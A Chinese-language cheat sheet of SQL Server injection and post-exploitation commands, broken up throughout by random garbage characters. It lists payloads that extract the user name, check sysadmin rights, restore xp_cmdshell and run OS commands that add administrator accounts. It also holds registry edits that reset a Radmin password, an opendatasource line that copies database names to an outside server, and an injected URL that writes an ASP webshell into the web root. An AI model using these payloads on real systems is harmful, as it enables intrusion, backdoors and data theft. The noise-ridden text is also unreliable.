. }- a8 r" l$ _' t搜索类型 2 N' H' S! s" K0 R* {' and char(124)%2Buser%2Bchar(124)=0 and '%'=' + {' a* M9 P [/ Z1 n: |+ S5 _# T3 X4 ?3 r
爆用户名( I! K1 G: [3 Z; T* |9 `' I
and user>0, Z- d' `" z+ }
' and user>0 and ''=', ^, n H- \5 [2 ^
# Z! b* K( N3 m/ a" H, r. u( u
检测是否为SA权限: ]) B) |, m, J R2 R. ? J
and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- 6 y( Q( T! C _, ~And char(124)%2BCast(IS_SRVROLEMEMBER(0x730079007300610064006D0069006E00) as varchar(1))%2Bchar(124)=1 -- ' q+ ?$ H/ Q2 X $ P0 F' b3 n( F$ [ c* H% C8 K% `检测是不是MSSQL数据库 8 i$ m. V; [% y# y$ G- q4 l( Band exists (select * from sysobjects);-- + H5 e S j, |7 R4 p + |+ ?2 I7 n- H4 `: c9 L' C7 H检测是否支持多行 : H9 { B5 Q4 k& ]$ J;declare @d int;-- 9 e# R) n" j* n6 [" l% j X% X2 d" E - G4 g4 P$ o. \$ J6 h9 F恢复 xp_cmdshell * A8 U& K' D% G; L;exec master..dbo.sp_addextendedproc 'xp_cmdshell','xplog70.dll';--6 \- I3 K6 J4 f* h2 a* n. D! p
( X$ o$ D! k8 X; y, k' X1 e3 K
# K, a k- B% }* \# p zselect * from openrowset('sqloledb','server=192.168.1.200,1433;uid=test;pwd=pafpaf','select @@version') : x( u; @+ F" b) n% N4 N/ ^2 W. a0 W- I) \, z/ L7 q
//----------------------- $ L0 i8 P' S8 ]3 [/ B' ]// 执行命令; x2 g; B o' z1 {8 E
//-----------------------1 b1 R1 B5 j% K6 y7 T+ e
首先开启沙盘模式: % X6 D1 B, L# u/ `6 ]exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',15 X& I) n9 L3 I: J0 m
2 q- }: }% ?& }* h3 a+ C
然后利用jet.oledb执行系统命令 9 W! R& J) b4 gselect * from openrowset('microsoft.jet.oledb.4.0',';database=c:\winnt\system32\ias\ias.mdb','select shell("cmd.exe /c net user admin admin1234 /add")') O" _% T0 F! h 4 R( ^- r5 c# w执行命令 5 l' k0 j, c: h. x- \* z;DECLARE @shell INT EXEC SP_OAcreate 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, 'C:\WINNT\system32\cmd.exe /c net user paf pafpaf /add';-- % g- j+ e5 M5 ?2 }7 M) o; Y1 ?* W, F( z( b+ G& w
EXEC [master].[dbo].[xp_cmdshell] 'cmd /c md c:\1111'7 M8 `" @, B. j- N5 Q
5 W* P* s5 b$ B
判断xp_cmdshell扩展存储过程是否存在:, D+ b$ ?. S! D/ S4 k http://192.168.1.5/display.asp?keyno=188 and 1=(Select count(*) FROM master.dbo.sysobjects Where xtype = 'X' AND name = 'xp_cmdshell') " r2 Y1 x; i- V; O& |3 F, } $ X9 `; A8 J# z( i. Y# ]9 C写注册表# T, @/ `" l3 z' X8 d4 ?
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',15 F9 r ?" {" d( _# ?. ?) W
4 y" b6 O! Q& P! R- j* B
REG_SZ / t6 o b, [2 I5 s' I! g% U6 U# ^6 F* k. B7 A
读注册表 + K1 h5 ]+ [# o- O3 sexec master..xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon','Userinit'6 w+ }6 J% @+ V# C9 [& Z) ^0 j/ x- U
6 j E2 U5 }0 T/ }& }% E9 o
读取目录内容2 m% l" w. |$ G3 m, D( r
exec master..xp_dirtree 'c:\winnt\system32\',1,18 E1 F) U$ e5 }1 ^5 U. G
5 o4 t: X! `5 J' h4 b+ P4 K 1 T) Q2 D& X$ i数据库备份- K$ O8 f& @; z
backup database pubs to disk = 'c:\123.bak' ( G( |* q* P( {) F L6 A: o 4 r, o D- A. f3 ?; a g, {//爆出长度4 F" k* K" Z( R0 w& J
And (Select char(124)%2BCast(Count(1) as varchar(8000))%2Bchar(124) From D99_Tmp)=0 ;--3 y4 S& W0 A2 S" K
, K ^4 f5 p. }! ~: R0 n
- @, x M+ \6 T( O9 D4 [: b) J2 s
) x0 G! `9 X. _4 e$ C. X( h更改sa口令方法:用sql综合利用工具连接后,执行命令:7 K8 z5 B% `) l$ j
exec sp_password NULL,'新密码','sa'1 D- `2 ~0 P' U: ?% p7 r
6 S' Y- b9 b8 X! _4 D+ _. T2 D
添加和删除一个SA权限的用户test: 1 | J2 l r* i3 K2 Cexec master.dbo.sp_addlogin test,ptlove $ h0 r' S- c9 I( X7 L" ^exec master.dbo.sp_addsrvrolemember test,sysadmin ; U4 r$ K0 p4 a5 _. A* E* Z4 { & T3 v* t; b: `$ g删除扩展存储过过程xp_cmdshell的语句: # q9 ]! O! }6 R0 O1 g9 ~exec sp_dropextendedproc 'xp_cmdshell' ( D: }, z3 v4 ^% p5 v1 E4 V+ O4 a( D" i4 O# R7 W
添加扩展存储过过程2 l, V2 c! b& a7 T! n3 m# l
EXEC [master]..sp_addextendedproc 'xp_proxiedadata', 'c:\winnt\system32\sqllog.dll' 2 C, |8 U3 E& @( r0 R1 p, | @
GRANT exec On xp_proxiedadata TO public . o) n+ Q# |+ E/ p# Z; G + F7 ]6 J# s1 o. D: [* |. X c3 ~; e: |7 \7 V
停掉或激活某个服务。 5 b8 |4 Z/ u% n7 {/ W0 _/ r
: ~; `5 y3 X. G7 @# X. nexec master..xp_servicecontrol 'stop','schedule' ) V& @. d$ ]" F- z. kexec master..xp_servicecontrol 'start','schedule'$ t( D: x3 t2 R
5 q! J& z) u m& N, k- A. V
dbo.xp_subdirs ) V( c( M M; D2 ?* w8 V 2 C% j2 H: a9 ], c4 T只列某个目录下的子目录。$ w# W X. g1 S' h! h3 j8 j
xp_getfiledetails 'C:\Inetpub\wwwroot\SQLInject\login.asp'4 F; p5 ^' q# x6 @) Q3 h& R
$ \4 T2 b5 `* ?$ b( Zdbo.xp_makecab 7 F/ g1 l+ }8 E' w9 m+ a( n; Q/ \7 c" c1 {+ e4 r1 {
将目标多个档案压缩到某个目标档案之内。 1 j5 y3 o; R+ v. p* D s9 ^2 l所有要压缩的档案都可以接在参数列的最后方,以逗号隔开。 8 [* a, i M4 ~% e% f 4 ]& P8 Q$ `" ]- o) ]dbo.xp_makecab" _, z0 J$ H: ^' _+ b
'c:\test.cab','mszip',1, + K0 h% w- R$ O) n7 ~* F'C:\Inetpub\wwwroot\SQLInject\login.asp', 1 Z1 `6 C* p6 |9 R+ n! O'C:\Inetpub\wwwroot\SQLInject\securelogin.asp' 8 C" r+ c, S, I, \) R- }8 ?( } - K3 v z8 |/ J ]6 |& Cxp_terminate_process/ d' \( H1 N% t4 f1 U! q4 `8 V
# P% E2 s+ ?; ^, y. V停掉某个执行中的程序,但赋予的参数是 Process ID。 0 q5 G# o8 w: M利用”工作管理员”,透过选单「检视」-「选择字段」勾选 pid,就可以看到每个执行程序的 Process ID $ \ T; @6 D1 ?: k3 u 7 h: w; S4 ]; `; y7 k1 W8 Qxp_terminate_process 2484 ( i v0 u% S$ G l1 a% ?' ~4 z0 Z$ a8 }
xp_unpackcab' ]9 p1 s! `0 N! V6 M+ m f# q
|9 Z3 |; |; ~2 [6 W
解开压缩档。 - A4 ]8 i/ K0 I0 S. z1 X6 d% C# U: l& M
xp_unpackcab 'c:\test.cab','c:\temp',1; G5 [0 e, D' j
8 D: Z0 s0 i) {9 f) l$ T) M
9 {/ Z3 ~6 J( i4 n/ z$ m |某机,安装了radmin,密码被修改了,regedit.exe不知道被删除了还是被改名了,net.exe不存在,没有办法使用regedit /e 导入注册文件,但是mssql是sa权限,使用如下命令 EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\RAdmin\v2.0\Server\Parameters','Parameter','REG_BINARY',0x02ba5e187e2589be6f80da0046aa7e3c 即可修改密码为12345678。如果要修改端口值 EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\RAdmin\v2.0\Server\Parameters','port','REG_BINARY',0xd20400 则端口值改为1234 3 p4 ~0 ~; E+ w# Q3 ^" H% `0 o% R6 ^
create database lcx;. w% k: A5 J1 {2 F
Create TABLE ku(name nvarchar(256) null); 2 J+ K( R8 w8 U$ C- d1 E( W& n0 VCreate TABLE biao(id int NULL,name nvarchar(256) null); 1 {0 v/ S. ?& f' \0 Z% b1 H, w f+ N$ j/ s" w# C
//得到数据库名% G. B% J2 c* E% i! F0 I7 o
insert into opendatasource('sqloledb','server=211.39.145.163,1443;uid=test;pwd=pafpaf;database=lcx').lcx.dbo.ku select name from master.dbo.sysdatabases 6 o3 Q8 w" q( p- u; ]( q$ Z/ @- V2 ~6 O/ j; i
1 V# Y. a+ A+ P- t+ Q//在Master中创建表,看看权限怎样 9 Z+ {& J$ b$ T) S; n- ]Create TABLE master..D_TEST(id nvarchar(4000) NULL,Data nvarchar(4000) NULL);-- 6 ?0 c8 P F: e 3 v1 ^+ T, h# H0 l6 Z用 sp_makewebtask直接在web目录里写入一句话马: 2 h2 g* l+ O( L1 H& vhttp://127.0.0.1/dblogin123.asp?username=123';exec%20sp_makewebtask%20'd:\www\tt\88.asp','%20select%20''<%25execute(request("a"))%25>''%20';-- 0 b4 Y' v" x7 Q2 v& d, e3 k. ?8 F* j8 F) X' B& A
//更新表内容 E4 F/ ], R O* [Update films SET kind = 'Dramatic' Where id = 123 4 L/ U @' n# u1 ^) y8 l$ u- |2 l7 y5 q4 h' c# u
//删除内容- Q9 l6 G* p8 i# l1 B: Z/ z p7 ~
delete from table_name where Stockid = 3